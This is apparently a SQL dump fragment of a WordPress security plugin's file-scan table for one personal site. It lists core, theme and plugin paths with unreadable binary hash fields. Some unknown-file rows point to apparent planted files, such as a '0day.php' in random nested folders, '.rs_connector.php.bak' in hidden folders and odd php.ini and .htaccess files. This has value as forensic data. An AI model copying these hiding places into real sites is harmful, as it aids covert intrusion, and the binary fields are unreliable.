('۝w6Uu%','wp-includes/js/dist/vendor/wp-polyfill-element-closest.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-element-closest.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ۧ^aʭV','s6m]:3HPѺ0\Z','',0,'?'),
('\\JRَnx','wp-includes/blocks/navigation/view.js','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R&OO<!','NgV&(`<s󪠡?4&+','',0,'?'),
('fSuBͥ?^yO','wp-admin/css/themes.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/themes.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j3\0I#','ehmF>\n8 w/?AhӴu','',0,'?'),
('&9-Z','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/shutdown.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/shutdown.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0E9c=\'	\0','xٵ;Pi|:\r\riHäa','',0,'?'),
('{^WC','wp-admin/css/colors/ocean/colors-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ocean/colors-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/W sT\Z','YE[Lׄyn-%mQr0w','',0,'?'),
('	*Q^','wp-content/themes/twentytwentyone/assets/sass/05-blocks/html/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/html/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c\'[g`.Ƿ{k','{K.(\Z\0<!rv+=8','',0,'?'),
('3T,M	nÀ4','wp-content/themes/twentytwentyone/assets/sass/05-blocks/video/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/video/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@ۓbhX','ڊj9yv\noC/`ny','',0,'?'),
('b֏ $;h','wp-content/themes/twentytwentyone/assets/sass/05-blocks/heading/_style.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/heading/_style.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','DVr|HH','Ҵ?5nP6ֆ>{\0-xe','',0,'?'),
('ÇJVW]I','wp-includes/blocks/table/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/table/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U*N.y^Ϗs','Z>t>7^ҙ_ͧhvk','',0,'?'),
('fօ#<W','wp-content/themes/twentytwentyfour/parts/post-meta.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/parts/post-meta.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kt*J,','eQ*+ʝ~KJTE3>ZE','',0,'?'),
('uG-x6n','wp-includes/blocks/column/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/column/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('$[tCŤIw','wp-includes/sodium_compat/src/Core/Curve25519/Fe.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Curve25519/Fe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ρ2ANaiJu','?GR_|, ̘߀\Z','',0,'?'),
('m5u1}','wp-includes/css/dist/block-library/theme.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/theme.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WZbRx6',':*w;2sލUBZO`/V','',0,'?'),
('&B5VAUU,','wp-includes/class-wp-http-cookie.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http-cookie.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^zW\n%X6R?z','xgmgEv|	r\"@_q','',0,'?'),
('1Abȱ8EN','wp-includes/blocks/group/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B1׽p)Nn','OՓN)x|.li`cdOls','',0,'?'),
('6r:Ɗ\\!Ծ','wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/php.ini','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/1xuftgv/dtrewsx/dfjriyc/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('@tj2fu[ ','wp-includes/blocks/comments-pagination/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(']1jc¯fs','wp-content/plugins/loginizer/assets/images/social/LinkedInOpenID.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/LinkedInOpenID.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}G_;DXLyi','SߪdW5[X0&%o/','',0,'?'),
('_f;waځ','wp-includes/js/tinymce/skins/wordpress/images/gallery.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/gallery.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_PwPU4','<W~ض+hN91_3ws','',0,'?'),
('fZ}=*ldy\r','wp-content/themes/twentytwentyfive/patterns/testimonials-large.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/testimonials-large.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!h Lm3}','_Av<k\\o֕Nºt(kEH','',0,'?'),
('gӨH7\ng3L','wp-content/themes/twentytwenty/assets/js/customize-controls.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/js/customize-controls.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','omj\nv-6',')ڧFZv΅@g(:%fS','',0,'?'),
('u<ex@ֈ>','wp-includes/js/underscore.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/underscore.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?A\0&(7ǶL','5zK4,i@!iYEy','',0,'?'),
('q?%rp07q','wp-admin/css/colors/coffee/colors-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/coffee/colors-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}M4Xّ%>','Sk@f^ll̏j>Ѵ','',0,'?'),
('C	#aS[','wp-includes/sodium_compat/lib/stream-xchacha20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/stream-xchacha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','#,>Ge>Qr.X','t@DZ+omW@B<:m6\ZI( ','',0,'?'),
('Pvqw1f','wp-includes/blocks/query-pagination-previous/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-previous/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('*3Ӱ','wp-content/themes/twentytwentyfive/patterns/hidden-404.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/hidden-404.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4J<DeaR','/kcApu','',0,'?'),
('CYх8','wp-includes/SimplePie/src/Gzdecode.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Gzdecode.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g}yyqvu','$.}|\ney/{U|yr','',0,'?'),
('\r:\0K1iIߟ','wp-content/plugins/header-footer-code-manager/includes/hfcm-add-edit.php','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/includes/hfcm-add-edit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8\Ze̙mڈ;khW','	\0eFuE4î\'ƌ]Ź5ڱ','',0,'?'),
('\'n57Lm!','wp-includes/SimplePie/library/SimplePie/Decode/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Decode/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ebVD^','wp-content/themes/twentytwentyfive/patterns/banner-about-book.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/banner-about-book.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!t>PW','|ߠ˳xQ:bz?YIV9\ZxYi','',0,'?'),
(';KP[լ','wp-content/themes/twentytwenty/assets/images/2020-three-quarters-2.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-three-quarters-2.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u$N\r6','Y0hb_%/_1$Z~xψ','',0,'?'),
('xЙ)DC<','wp-includes/js/customize-models.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-models.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'~G~Ԟ','h3XVxpTOSSfb\rE捵','',0,'?'),
('	h16\"S','wp-includes/blocks/comments-pagination/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?M}c4ǻ\Z',' e\0FmHƑ~Ve2al','',0,'?'),
('~U\"&','wp-includes/images/wpicons-2x.png','/home/trevorkl/trevorklee.com/wp-includes/images/wpicons-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nVo$Of~7',']کA=ђ%q%aMBUp','',0,'?'),
('wPCz=u','wp-content/themes/twentytwentyfive/assets/images/coming-soon-bg-image.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/coming-soon-bg-image.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Qk9bAxh',')g,jO b;@h뼛oP<Ak','',0,'?'),
('t~*ֆ','wp-includes/blocks/page-list/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','I-e\"`Cʰo','xx_̎d㟢`V*u','',0,'?'),
('\r՟)z','wp-includes/blocks/footnotes/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/footnotes/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0bk.3Ի۴','S(:`+ %ǴXfE','',0,'?'),
('W2DG7V','wp-admin/css/common-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/common-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g^R,.BEyl','RԅV.Co(\'c\rTWT\'B','',0,'?'),
('M~\nT|','wp-includes/js/mediaelement/wp-mediaelement.min.css','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/wp-mediaelement.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ꕂvEK?\r~_','!?[_r=&\n-%!y\r','',0,'?'),
('Vb(ktW\"6(;ƴ','wp-admin/includes/class-wp-media-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-media-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ut]=~','3]dpB4//\0CF:L','',0,'?'),
('V92:','wp-content/themes/twentytwentyfive/templates/page.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/templates/page.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-rL7\rgB','\\z=UA1wp','',0,'?'),
('XTtcf\Zvv','wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/0day.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/0day.php',0,'WʂϑCE:-','WʂϑCE:-',')ktY\n|9~i`Ju&','',0,'?'),
('iȜ1\08','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/autoload-php7.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/autoload-php7.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','S;h8^gR','mfʬSXT8A-g','',0,'?'),
(' Gnƙ)6OK$','wp-includes/blocks/accordion-panel/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-panel/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n\r8hDL','M~IQT>o1EU','',0,'?'),
('v\\4N+,','wp-includes/blocks/list/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/list/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('	2BbFDe\"','wp-includes/js/dist/script-modules/route/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/route/index.js',0,'tLaD=3l','tLaD=3l','Ov\rꜝRb<RӖ=','',0,'?'),
('vTC','wp-content/plugins/wordfence/lib/wfVersionSupport.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfVersionSupport.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>ZM< [','OkN?-ױZ$˯lﷸ^i','',0,'?'),
('\"r6< w','wp-includes/js/dist/script-modules/block-library/file/view.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/file/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ጚHf I','yeJTGЈVK9рkԜ','',0,'?'),
('aƔ\0a\'\\?','wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','m=ŽY9ৱX','!V	vhm+;8fؠ$xn-3{','',0,'?'),
('\not}l!E`I','wp-content/themes/twentytwentyone/assets/sass/04-elements/misc.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/misc.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aX].','xhd@<NA R>h=','',0,'?'),
('߲;0','wp-includes/feed-rss2-comments.php','/home/trevorkl/trevorklee.com/wp-includes/feed-rss2-comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GHݭv','.?U%OΙx!-','',0,'?'),
('	b	5fBA','wp-includes/js/dist/script-modules/video-conversion/worker.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/video-conversion/worker.min.asset.php',0,'?)֬\"NȮٝ','?)֬\"NȮٝ','^)T6)0T \Z}=XgNͤp','',0,'?'),
('!-LHv)n#','wp-includes/https-detection.php','/home/trevorkl/trevorklee.com/wp-includes/https-detection.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~y]k>','ʧV?OkNRt٨r1J','',0,'?'),
('0.ƶtěa','wp-content/plugins/wordfence/modules/login-security/css/embedded.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/embedded.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Iq2{u@6','&m7	}bnNTgWhc#','',0,'?'),
('<g=C״qD','wp-includes/customize/class-wp-customize-themes-panel.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-themes-panel.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\"3@\rjK','C:.:#<A2V','',0,'?'),
('Mb\0(Y!#','wp-includes/blocks/terms-query/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/terms-query/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','TshIR0[YD','ȭK upn5IPMESC@\0|Do','',0,'?'),
('PC<	vnR8','wp-content/plugins/wordfence/images/tools.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/tools.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@cI','Y=RB)	~ܖݟr','',0,'?'),
('mCB.ե>F_#','wp-content/themes/twentynineteen/sass/media/_galleries.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/media/_galleries.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Kmd~','6!1oAuEoFw9\n4\0\\%wM\rg','',0,'?'),
('v>8\'T6X','wp-includes/js/jquery/ui/progressbar.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/progressbar.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0o4x*\rg','!Hy	,:zdV#c','',0,'?'),
('zOXf>kZbq','wp-content/themes/twentytwentytwo/inc/patterns/header-with-tagline.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-with-tagline.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G\0Ou?͵;$',':˒(}tH%(4ΏCq','',0,'?'),
('3T.^ƙ<','wp-mail.php','/home/trevorkl/trevorklee.com/wp-mail.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E۸\0Wʎ;8','%e\r#gfs.ҫG','',0,'?'),
(':TL5EFVc','wp-content/themes/twentytwentyone/assets/sass/04-elements/links.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/04-elements/links.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rv_`n/T','Ps\'\nBKM$꼓rfy6yݵ[e','',0,'?'),
('<jB#','wp-content/.rs_g6/.rs_connector.php.bak','/home/trevorkl/trevorklee.com/wp-content/.rs_g6/.rs_connector.php.bak',0,'V(6Q#d0','V(6Q#d0','m,ߥVX!{5}=ev','',0,'?'),
('[\Z-$','wp-includes/block-patterns/navigation-overlay-centered.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/navigation-overlay-centered.php',0,'{m<ҳ\r','{m<ҳ\r','>F\nﷱb-7 tՠD','',0,'?'),
('KOȖ93|<','wp-admin/maint/repair.php','/home/trevorkl/trevorklee.com/wp-admin/maint/repair.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?.ش|vɬkn','P)*s]<\Zpc=x?ec','',0,'?'),
('M{xJH','wp-includes/blocks/pullquote/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ҵ%a;','>Q ٘5,ý}a\0in','',0,'?'),
('I.$U0]\'S_','wp-admin/includes/widgets.php','/home/trevorkl/trevorklee.com/wp-admin/includes/widgets.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OIt;',']]\Z&˾Qfcy:dO','',0,'?'),
('ꑉ}OaTTN.','wp-includes/blocks/search/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e\n\r1p=','I_:M>٠}.','',0,'?'),
('+DFܿTZ[H7','wp-admin/images/post-formats-vs.png','/home/trevorkl/trevorklee.com/wp-admin/images/post-formats-vs.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SlH\\','etw|W{xy%K:QE7','',0,'?'),
('\Z[M[\r','wp-includes/blocks/columns/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/columns/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','´`boFIK','dף!x`J&ͽ{','',0,'?'),
('/&<\Zc=ts','wp-includes/js/dist/script-modules/content-types/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/content-types/index.js',0,'~A{I!G','~A{I!G','>{pncYۥ9f&\'Y','',0,'?'),
('A?]\\8PMTl','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Int32.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Int32.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0ǰ{8}zl','jG~.\'G*\'S3t~ӆ','',0,'?'),
('GV\\z#!;','wp-includes/js/media-audiovideo.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-audiovideo.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<nx;	.ӎ^','&Xgp?Y66x','',0,'?'),
('H:O%ZEȒ#','wp-content/plugins/wordfence/css/license/care.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/care.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pAmHc}','\'?-<!-6XEsF+!i%','',0,'?'),
('JPD\"','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Bold.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Bold.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N[I	_7osHN','-!lOZF+ظ\\e8o-UJ','',0,'?'),
('Ms;\',-E','wp-admin/css/dashboard-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/dashboard-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l)b{klñ!','w#ٓ=CfP,<zOa','',0,'?'),
('Or#TG!','wp-includes/js/swfobject.js','/home/trevorkl/trevorklee.com/wp-includes/js/swfobject.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('$(g(P/','wp-admin/css/wp-admin-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/wp-admin-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GQ5\'EYo0}_','0|TFO 	..>CEj','',0,'?'),
('XS','wp-includes/SimplePie/library/SimplePie/Exception.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Exception.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','X\rȯ\ZheՎ','\rlV!:l,Pڞtnߍ','',0,'?'),
('5At߂m0iz','wp-admin/css/themes-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/themes-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lM!~p-X6','	CQT(_<3JͿJjY&^]I','',0,'?'),
('yxx4* ','wp-content/plugins/wordfence/modules/login-security/views/user/grace-period-toggle.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/user/grace-period-toggle.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|bd&).!p','AFkBr*?M& ','',0,'?'),
('HСYVhZ','wp-includes/block-supports/duotone.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/duotone.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Rpw;nɟ','(q*1KCC\'{[DkD	L','',0,'?'),
('ا.n	(?','wp-content/.rs_g7/index.html','/home/trevorkl/trevorklee.com/wp-content/.rs_g7/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('-Z:E:','wp-admin/js/image-edit.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/image-edit.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6K]NĖ,(','y+ESnش41ÎaA#;v\\R','',0,'?'),
('\Z٣! Ziߘ','wp-content/themes/twentytwentyfive/parts/header-large-title.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/header-large-title.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WXVr\ZAb','#tGy4I\0lD>ɥL2f9%3縦','',0,'?'),
('|jX|fb','wp-admin/css/login.css','/home/trevorkl/trevorklee.com/wp-admin/css/login.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','HY~z4<','SlԶt\ZwZɭ!?}','',0,'?'),
('%WRuw','wp-includes/blocks/comments-pagination/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?j|IQO.PT','p(SjPOEjӺ_\rF{Ĉ','',0,'?'),
('*i8]\n4','wp-content/themes/twentynineteen/print.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/print.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V@lL','5&LTt3L:[%E皿','',0,'?'),
('5ABLo9MFHI','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-Text.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-Text.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ڛ-?` ','ڐnA˅%!%`V;[.C_','',0,'?'),
('JmYmz','wp-content/plugins/loginizer/lib/hybridauth/Exception/HttpRequestFailedException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/HttpRequestFailedException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K@f,z|G\"S+','FGDBP@a4fׅgIW','',0,'?'),
('MRlBFu','wp-includes/option.php','/home/trevorkl/trevorklee.com/wp-includes/option.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':>˄09/W','\n>mɚjC\0xOO?/-aѧ7_P','',0,'?'),
('he-BJ_v','wp-includes/blocks/search/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&W+','S(g%$%p+3\\:5','',0,'?'),
('mvyayT\"','wp-content/plugins/wordfence/lib/wfInvalidPathException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfInvalidPathException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jôٶ','G!U6Hk9J0Odv!','',0,'?'),
('r\\jA$','wp-includes/js/customize-base.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-base.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%Pe.,*䤊y','n>)wîɮ>4nw','',0,'?'),
('{S{T2}?','wp-content/plugins/simpletoc/assets/accordion.js','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/assets/accordion.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xzo1A','o*~m_<&-HW7ڔR-q','',0,'?'),
('{rp7>]','wp-includes/blocks/post-comments-form.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-form.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','t>Yn\nO','(|Rbر^xAE]\r\'\r','',0,'?'),
('犏`bI\"v4N','wp-includes/blocks/cover/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','wP:<0','\ZF2h<U*̕Ufz]Q7','',0,'?'),
('\"Sέ`t@','wp-admin/network/plugins.php','/home/trevorkl/trevorklee.com/wp-admin/network/plugins.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R\n.oƱ2bw','Agp/m,&Rqf9ey$=','',0,'?'),
('\\.1-:','wp-admin/options-media.php','/home/trevorkl/trevorklee.com/wp-admin/options-media.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' jo6X5f{','DH[~OԅRi|M]vS,','',0,'?'),
('%S)eu','wp-includes/css/dist/nux/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/nux/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ΝH**.ځS','wp-admin/includes/bookmark.php','/home/trevorkl/trevorklee.com/wp-admin/includes/bookmark.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yM³QO{','%@Y	h-?6m23s(M7','',0,'?'),
('8p>ĉ+(','wp-includes/blocks/template-part/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/template-part/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','74͞K^(ӑ9','S1>ۄfIZZ3Pi*','',0,'?'),
('^.0i8J','wp-includes/Requests/src/Response.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Response.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','䍎C!B8YR','޺%Œ0+(v)*n=D','',0,'?'),
('dxeBݙϟ5','wp-includes/IXR/class-IXR-clientmulticall.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-clientmulticall.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Hqglt','ғ\'bOE&ƧW0h	o\\`Y','',0,'?'),
('ѭ%\\7\Z-','wp-includes/sitemaps/ufbsx1k/gzkrwvm/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ufbsx1k/gzkrwvm/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
